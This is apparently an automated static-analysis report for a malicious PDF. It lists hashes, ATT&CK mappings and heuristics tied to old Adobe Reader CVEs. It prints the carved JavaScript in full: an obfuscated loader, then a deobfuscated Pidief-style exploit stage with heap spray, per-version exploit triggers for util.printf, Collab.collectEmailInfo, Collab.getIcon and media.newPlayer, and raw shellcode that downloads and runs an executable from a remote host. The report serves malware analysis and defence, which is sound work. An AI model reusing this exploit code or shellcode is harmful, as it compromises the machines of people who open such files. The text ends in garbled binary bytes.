Malicious PDF — malware analysis report

Static analysis result for SHA-256 d820cea63a84ace4…

MALICIOUS

PDF

5.3 KB Created: 2010-08-17 12:47:46 Authoring application: Liconadauarowa (via 1b62fCauouosipazo) First seen: 2026-05-10
MD5: 171e597f50ac7544a7ffb12e99946f64 SHA-1: f086769d17b1d4c04a4c7d47dbf82fd6393e2be8 SHA-256: d820cea63a84ace4353b54a71aeda344755fb3b1b038b4c1e4336c6a858e5f90
468 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1027 Obfuscated Files or Information

The PDF contains embedded JavaScript with multiple eval() calls, indicating an attempt to obfuscate malicious code. The heuristics confirm JavaScript execution and obfuscation. The primary intent appears to be downloading and executing a second-stage payload from a remote source, though the specific URL is not directly visible due to obfuscation.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 10

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    {
return 'var 77rCL = 7158 ;var nEJ = thi77s;Jv7arJ7 mL=J\'getPa\'7+\'geNthW\'7+\'JJoJ7rd\';var JvK=\'getP\'+\'ageNu77\'+\'JJmWor\'+\'ds\';7Jvar gRJ=\'f7rom\'+\'CharCo\'7+\'dJe\'J7;var7 pG=\'pag7JeN\'+\'um\';JJvar iBA=nE[J7vJJK]J(nJJE[pG]);vaJ7r77 mB77=7J\'\';forJ(var tU7V=0;tUV7< J7iBA; tUV++){mB=[mB,nE[mL](nJ7E[pG],tUV,t7Jrue)]JJ.joiJn(\'\')7;7;7}var 7lK=\'\';77for(7vJar tUV=0;t77UV < mB.leng7th; tUV+=2J7){j77Q7J=mB.JsubstrJ7(tUVJ,277);lK=[lK,Str7in77g[gRJ]J(Jparse7Int(j7Q,1J67)^J7rCL)]77.joiJn( …
}
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://ahrudk.egh/4 Referenced by PDF JavaScript

Related samples 5

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0011_000.js pdf-javascript-stream PDF /JS object 11 at offset 0xFBF 738 bytes
SHA-256: d61d482c6433952270c36196ace48df73af3643d59a9d9f3780f823e0255291f
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
bA=waitForBody();
var wPI=focusCommandLine();
var iX=new this[wPI](bA); 

function focusCommandLine(){
return 'FuncGtGGion'.replace(/[G]/g, '');
}

function waitForBody()
{
return 'var 77rCL = 7158 ;var nEJ = thi77s;Jv7arJ7 mL=J\'getPa\'7+\'geNthW\'7+\'JJoJ7rd\';var JvK=\'getP\'+\'ageNu77\'+\'JJmWor\'+\'ds\';7Jvar gRJ=\'f7rom\'+\'CharCo\'7+\'dJe\'J7;var7 pG=\'pag7JeN\'+\'um\';JJvar iBA=nE[J7vJJK]J(nJJE[pG]);vaJ7r77 mB77=7J\'\';forJ(var tU7V=0;tUV7< J7iBA; tUV++){mB=[mB,nE[mL](nJ7E[pG],tUV,t7Jrue)]JJ.joiJn(\'\')7;7;7}var 7lK=\'\';77for(7vJar tUV=0;t77UV < mB.leng7th; tUV+=2J7){j77Q7J=mB.JsubstrJ7(tUVJ,277);lK=[lK,Str7in77g[gRJ]J(Jparse7Int(j7Q,1J67)^J7rCL)]77.joiJn(\'\');}eval(lK77);lK=null;'.replace(/[7J]/g, '');
}    

iX();
legacy_pdfkit_stage_000.js deobfuscated-js getPageWords-XOR Pidief stage normalized at offset 0x0 4862 bytes
SHA-256: 37a9f1a804a7351d64be5ad8d6f960c420241e6f01e605d326427d04a0745975
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 2 eval/decoder/string-building token(s). Carved artifact contains 1 long hex-escaped blob(s).
Preview script
First 1,000 lines of the extracted script
v={h:30626};sB={};var yT='0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ/.:_-?&=%#';try {var hM='tU'.substring(26727)} catch(hM){};try {var hU='oP'.substring(5107)} catch(hU){};var d=this.info['t'].replace(/[\s]/g, '');var xK="xK";try {var lA='sBM'.substr(14201,14201)} catch(lA){};try {var jI='yL'.substr(12965,12965)} catch(jI){};var tUP = this.info;var lUP = (tUP.producer.substr(0,5) == 'debug');var z = new Array(); var xI = "%u";function gV(str){str = str.split(xI);var ret="";for(var i in str){if(str[i] != "")ret += String.fromCharCode(parseInt(str[i],16));}return ret;}function zI(str1, str2){return [str1, str2].join("");}function iZ(tUZ){var vS = cH();var f = p();vS += ((vS.indexOf("?") > -1) ? "&" : "?") + "reader_version=" + f;if(lUP) app.alert("URL: " + vS);var d=xI;var jQ="\x50\x53\x51\x52\x56\x57\x55\x9C\xE8\x00\x00\x00\x00\x5D\x83\xED\x0D\x31\xC0\x64\x03\x40\x30\x78\x10\x8B\x40\x0C\x8B\x70\x14\xAD\x89\xC0\x89\xC0\x8B\x40\x10\xEB\x09\x8B\x40\x34\x8D\x40\x7C\x8B\x40\x3C\x56\x57\xBE\xE2\x00\x00\x00\x01\xEE\xBF\xD2\x00\x00\x00\x01\xEF\xE8\x56\x01\x00\x00\x5F\x5E\x89\xEA\x81\xC2\xE2\x00\x00\x00\x52\x68\x80\x00\x00\x00\xFF\x95\xD2\x00\x00\x00\x89\xEA\x81\xC2\xE2\x00\x00\x00\x31\xF6\x01\xC2\x8A\x9C\x35\xE7\x01\x00\x00\x80\xFB\x00\x74\x06\x88\x1C\x32\x46\xEB\xEE\xC6\x04\x32\x00\x89\xEA\x81\xC2\xC9\x01\x00\x00\x52\xFF\x95\xD6\x00\x00\x00\x89\xEA\x81\xC2\xD4\x01\x00\x00\x52\x50\xFF\x95\xDA\x00\x00\x00\x6A\x00\x6A\x00\x89\xEA\x81\xC2\xE2\x00\x00\x00\x52\x89\xEA\x81\xC2\xF4\x01\x00\x00\x52\x6A\x00\xFF\xD0\x6A\x05\x89\xEA\x81\xC2\xE2\x00\x00\x00\x52\xFF\x95\xDE\x00\x00\x00\x9D\x5D\x5F\x5E\x5A\x59\x5B\x58\xC3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x47\x65\x74\x54\x65\x6D\x70\x50\x61\x74\x68\x41\x00\x4C\x6F\x61\x64\x4C\x69\x62\x72\x61\x72\x79\x41\x00\x47\x65\x74\x50\x72\x6F\x63\x41\x64\x64\x72\x65\x73\x73\x00\x57\x69\x6E\x45\x78\x65\x63\x00\xBB\x89\xF2\x89\xF7\x30\xC0\xAE\x75\xFD\x29\xF7\x89\xF9\x31\xC0\xBE\x3C\x00\x00\x00\x03\xB5\x9F\x01\x00\x00\x66\xAD\x03\x85\x9F\x01\x00\x00\x8B\x70\x78\x83\xC6\x1C\x03\xB5\x9F\x01\x00\x00\x8D\xBD\xA3\x01\x00\x00\xAD\x03\x85\x9F\x01\x00\x00\xAB\xAD\x03\x85\x9F\x01\x00\x00\x50\xAB\xAD\x03\x85\x9F\x01\x00\x00\xAB\x5E\x31\xDB\xAD\x56\x03\x85\x9F\x01\x00\x00\x89\xC6\x89\xD7\x51\xFC\xF3\xA6\x59\x74\x04\x5E\x43\xEB\xE9\x5E\x93\xD1\xE0\x03\x85\xAB\x01\x00\x00\x31\xF6\x96\x66\xAD\xC1\xE0\x02\x03\x85\xA3\x01\x00\x00\x89\xC6\xAD\x03\x85\x9F\x01\x00\x00\xC3\xEB\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x89\x85\x9F\x01\x00\x00\x56\x57\xE8\x58\xFF\xFF\xFF\x5F\x5E\xAB\x01\xCE\x80\x3E\xBB\x74\x02\xEB\xED\xC3\x55\x52\x4C\x4D\x4F\x4E\x2E\x44\x4C\x4C\x00\x55\x52\x4C\x44\x6F\x77\x6E\x6C\x6F\x61\x64\x54\x6F\x46\x69\x6C\x65\x41\x00\x31\x32\x33\x34\x35\x36\x37\x38\x2E\x65\x78\x65\x00";jQ+=vS;jQ+="\x00\x90";return jQ;};function cH(){var kZ = (tUP.author + tUP.title).replace(/[\s]/g, '');var rC = eF(kZ, d, yT);return rC;};function eF(kZ, yT, d){var rC="";for(var i=0; i < kZ.length; i++){var vIR = yT.indexOf(kZ[i]);if(vIR > -1 ){rC += d[vIR];}}return rC;};function zG(kZ){var out = "";kZ = mJ(kZ);g = Math.round(kZ.length / 4);if (g != kZ.length /4) kZ+="00";for(var i=0; i < kZ.length; i+=4){out+= xI + kZ.substr(i+2, 2) + kZ.substr(i, 2);}return out;};function mJ(s){var i, f = 0, a = [];s += '';f = s.length;for (i = 0; i<f; i++) {a[i] = s.charCodeAt(i).toString(16).replace(/^([\da-f])$/,"0$1").toUpperCase();}return a.join('');};function vUR(xM, len){while (xM.length * 2 < len){xM = zI(xM, xM);}return xM.substring(0, len / 2);};function cB(lC){var kL = 0x0c0c0c0c;        pM = iZ("pdf");if (lC == 1){kL = 0x30303030;}var sJ = 0x400000;var ln = pM.length * 2;var vY = sJ - (ln + 0x38);var xM = gV(xI+"9090"+xI+"9090"); xM = vUR(xM, vY);var uL = (kL - 0x400000) / sJ;for (var nM = 0; nM < uL; nM ++ ){z[nM] = zI(xM, pM);}};function p(){try {return app.viewerVersion.toString();}catch(aHE){    return 0;}}if(lUP) app.alert("called exploit");var f = p();if(lUP)  app.alert("v: " + f);if (f > 8){if(lUP) app.alert("util.printf");cB(1);var eH = "12999999999999999999";for (nW=0; nW < 276; nW++) eH += "8";util.printf("%45000f", eH);}if (f < 8){if(lUP) app.alert("Collab.collectEmailInfo");cB(0);var wH = gV(xI+"0c0c"+xI+"0c0c");while (wH.length < 44952) wH += wH;this.collabStore = Collab.collectEmailInfo({ subj : "", msg : wH});}if (f < 9.1){if (app.doc.Collab.getIcon){if(lUP) app.alert("Collab.getIcon");cB(0);var pS = unescape("%09");while (pS.length < 0x4000) pS += pS;pS = "N." + pS;app.doc.Collab.getIcon(pS);}}if (f == 9.2){if(lUP) app.alert("media.newPlayer");cB(1);var sf="1.000000000.000000000.1337 : 3.13.37";util.printd(sf, new Date());try {media.newPlayer(null);} catch(e) {}util.printd(sf, new Date());}var nC=["gT","vC","iB"];this.b=13612;this.b++;try {var eL='jM'} catch(eL){};var r=[];@�� �@�� �@�� �@�� �$Ύ���Ύ���

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